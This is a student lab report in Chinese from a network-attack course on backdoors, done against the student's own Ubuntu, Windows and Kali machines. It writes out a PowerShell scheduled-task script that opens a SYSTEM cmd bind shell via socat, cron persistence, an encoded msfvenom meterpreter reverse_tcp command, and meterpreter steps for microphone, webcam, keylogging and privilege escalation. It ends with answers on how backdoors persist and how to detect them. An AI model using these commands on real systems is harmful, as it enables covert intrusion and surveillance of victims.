20212217刘恒谦-Exp2 后门原理与实践
实践过程记录
使用netcat获取主机操作Shell,cron启动
ncat即Netcat,可以收发传输层数据,由攻击者使用。cron是Linux中用于按计划执行脚本的工具,在网络对抗中让受害者连接不稳定时,重连攻击者,由受害者启动。
既然如此,受害者需要是Linux,否则没有cron命令,我购买了一台阿里云Ubuntu服务器充当受害者。使用crontab -e
编辑如下计划:
这样,每天凌晨2点,受害者就会开放5555端口,等待攻击。
之后,内网中的kali正向连接公网服务器,获取shell权限。
使用socat获取主机操作Shell, 任务计划启动
socat可建立双向通道,支持众多协议和链接方式,可以看成ncat++,在linux中一般都支持该命令。
任务计划是windows中的任务形式,windows作为受害者,需要用socat接收kali传来的命令。
既然要进行网络通信,且为正向连接,就需要知道受害者的IP:
最下一行代表WLAN局域网的IP,为192.168.56.1。
之后,在windows中以管理员身份打开powershell ISE,编写脚本创建任务。
# 定义任务的触发器(例如,每天凌晨 2 点执行)
$trigger = New-ScheduledTaskTrigger -Daily -At 2am
# 定义任务的操作(例如,运行 PowerShell 脚本)
$action = New-ScheduledTaskAction -Execute "D:\socat\socat.exe" -Argument "tcp-listen:2217 exec:cmd.exe,pty,stderr"
# 定义任务的权限(可选,默认为当前用户)
$principal = New-ScheduledTaskPrincipal -UserId "NT AUTHORITY\SYSTEM" -LogonType ServiceAccount
# 定义任务的设置(可选)
$settings = New-ScheduledTaskSettingsSet
# 注册新任务
$taskName = "lhq20212217exp2"
$taskDescription = "网络对抗实验二"
Register-ScheduledTask `
-TaskName $taskName `
-Action $action `
-Trigger $trigger `
-Principal $principal `
-Description $taskDescription `
-Settings $settings
为了加快实验进度,我使用管理员模式的powershell即刻执行了任务。
之后,在kali-wsl中使用socat - tcp:192.168.56.1:2217
即可获取windows的cmd权限。
使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
首先生成木马文件,通过socat传输到windows主机上:
windows主机接收文件到火绒信任区,避免误杀:
之后,在windows中运行该木马程序,返回Ubuntu,通过Ubuntu快速安装MSF - tomyyyyy - 博客园 (cnblogs.com)教程安装msfconsole,并连接木马
使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
本步骤需要在上一步基础上进行,中途不可退出。由于公网服务器没有图形界面,我使用了在线网页的形式下载音视频等窃取到的数据。
音频(record_mic)
输入record_mic
可截取1秒的音频。
截屏(screenshot)
输入screenshot
可截屏,图片以jpeg的形式保存起来
看起来并不是很清晰
拍照(webcam_snap)
输入webcam_snap
拍照,相比于截屏,照片就清晰多了:
录制键盘(keyscan_start,keyscan_dump)
使用keyscan_start
开始录制,接着用keyscan_dump
结束,我在这期间只按了一次Ctrl C。
提权(getuid,getsystem)
这一步要求使用管理员身份运行木马,之后在攻击机中先使用 getuid
指令查看当前用户,再使用 getsystem
指令进行提权。
不过在本次实验中,提权后仍然无法查看敏感信息。
使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
在MSF中通过-x file_path
参数可按指定文件模板生成木马,这次的木马与上次不同,需要在Linux上运行。
kali-WSL就是一台Linux,可以充当受害者,在kali-WSL中,通过wget下载公网上的lhq20212217_pwn_backdoor,并赋权执行:
之后,到Ubuntu攻击机中,使用MSF连接木马:
成功入侵Kali 😃
问题及解决
木马无法运行
在最新版的windows11上,普通的木马确实无法运行,需要进行加密,添加参数 -e x86/shikata_ga_nai
,e代表encrypt
结合起来就是
msfvenom -p windows/meterpreter/reverse_tcp LHOST=47.116.178.215 LPORT=2217 -e x86/shikata_ga_nai -f exe > encoded_payload.exe
socat连接不上
一开始的时候,我在kali-WSL中访问windows怎么也连接不了,
经过2个小时的排查,我终于发现了奇怪的地方,我的kali和windows的IP居然是一致的,因此每次连接时都会显示:
显示连接拒绝。
那这是怎么回事呢?原来是因为我之前为了在kali-WSL中使用代理,使用用户目录下的.wslconfig
文件将kali-WSL的网络配置为镜像模式,导致kali-WSL和windows共用一个IP。
解决起来也很简单,将这个文件清空再重启kalil-WSL就OK了。
powershell木马无效
另一个问题是我一开始是将远程命令用powershell而非cmd执行的:
但是当这个计划启动后我发现,powershell下会没有输出,必须用cmd才能顺利进行。
实验总结与体会
其实我之前就做过用msf攻击windows,所以本次实验上手起来感觉还行,难度比上一次简单。
但是做起来比上一次实验更加费时,总的原因在于我使用了公网服务器完成实验,而且用的kali是WSL而非普通带桌面的kali,导致所有需要图形界面的环节我都用Web服务代替了。再加上我之前对kali的网络做过镜像设置,导致这次连接木马时遇到了不少问题。不过其实问题都不大,公网Ubuntu也好,Kali子系统也好,和一般的做法其实都大同小异,最终还是花了8个小时完成了。
基础问题回答
-
例举你能想到的一个后门进入到你系统中的可能方式?
后门是指在系统或网络中故意留下的一个入口,允许未经授权的用户或攻击者访问系统。
一种后门进入系统的可能方式是某个流行的网络服务软件如软路由LuCI可能存在未公开的0day漏洞,攻击者通过发送特制的请求或数据包来获取对系统的控制权,然后在系统中植入后门程序。 -
例举你知道的后门如何启动起来(win及linux)的方式?
Windows
- 后门可以修改Windows注册表的启动项,例如
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
,以确保在系统启动时自动执行。 - 将后门程序的快捷方式放置在
Start Menu\Startup
文件夹中,这样每次用户登录时后门都会自动运行。 - 通过放置恶意DLL文件到系统路径中,并利用合法程序的加载机制来启动后门。
Linux
- 后门可以通过在
/etc/cron.d
、/etc/crontab
、/etc/cron.hourly
、/etc/cron.daily
、/etc/cron.weekly
、/etc/cron.monthly
等目录中的Cron作业文件来设置定时任务。 - 修改
/etc/rc.local
或其他运行级别脚本,以在系统启动时执行后门程序。 - 后门可能会修改SSH配置文件(
/etc/ssh/sshd_config
),设置SSH密钥认证,以便远程无密码登录。
-
Meterpreter有哪些给你映像深刻的功能?
Metepreter确实是一个强而有力的黑客工具,它通过TCP反向连接构造的木马在各种博客论坛上都可见,我之前就用它尝试过攻击windows,它让不懂网络协议和操作系统底层原理的普通人也能当一回黑客。
不过Metepreter在CTF竞赛中基本没用,对于正式的比赛还是需要我仔细学习各种框架和绕过技巧,相比之下,pwntool和BurpSuite才是我目前看到的最好的黑客工具。 -
如何发现自己有系统有没有被安装后门?
发现系统是否被安装了后门需要综合使用多种工具和技术,有多个步骤:
- 系统日志通常记录了系统事件和错误信息。检查
/var/log
(Linux)或 Windows 事件查看器中的日志,寻找异常的登录尝试、未授权的访问或其他可疑活动。 - 检查系统的启动项和服务,确保没有未知或可疑的程序在系统启动时自动运行。在 Linux 中,您可以使用
systemctl
命令查看服务状态;在 Windows 中,可以使用services.msc
或msconfig
命令。 - 使用安全扫描工具,如 antivirus 软件、入侵检测系统(IDS)或专门的后门检测工具,来扫描系统。这些工具可以帮助您发现已知的后门和恶意软件。
- 使用
netstat
、lsof
(Linux)或Resource Monitor
(Windows)等工具检查所有网络连接。查找到不寻常的 IP 地址或端口的连接,这可能是后门活动的指示。 - 检查系统文件和配置,特别是
/etc/passwd
(Linux)和C:\Windows\System32\config
(Windows),寻找异常的用户账户或配置更改。 - 检查系统中是否有未知的用户账户,特别是那些具有管理员权限的账户。在 Linux 中,使用
cat /etc/passwd
命令;在 Windows 中,使用net user
命令。 - 检查正在运行的系统进程,查找未知或可疑的进程。在 Linux 中,可以使用
ps
、top
或htop
命令;在 Windows 中,可以使用Task Manager
。 - 使用文件完整性检查工具,如
AIDE
或Tripwire
,来检测系统文件的更改。这些工具可以记录文件的正常状态,并在文件被更改时发出警报。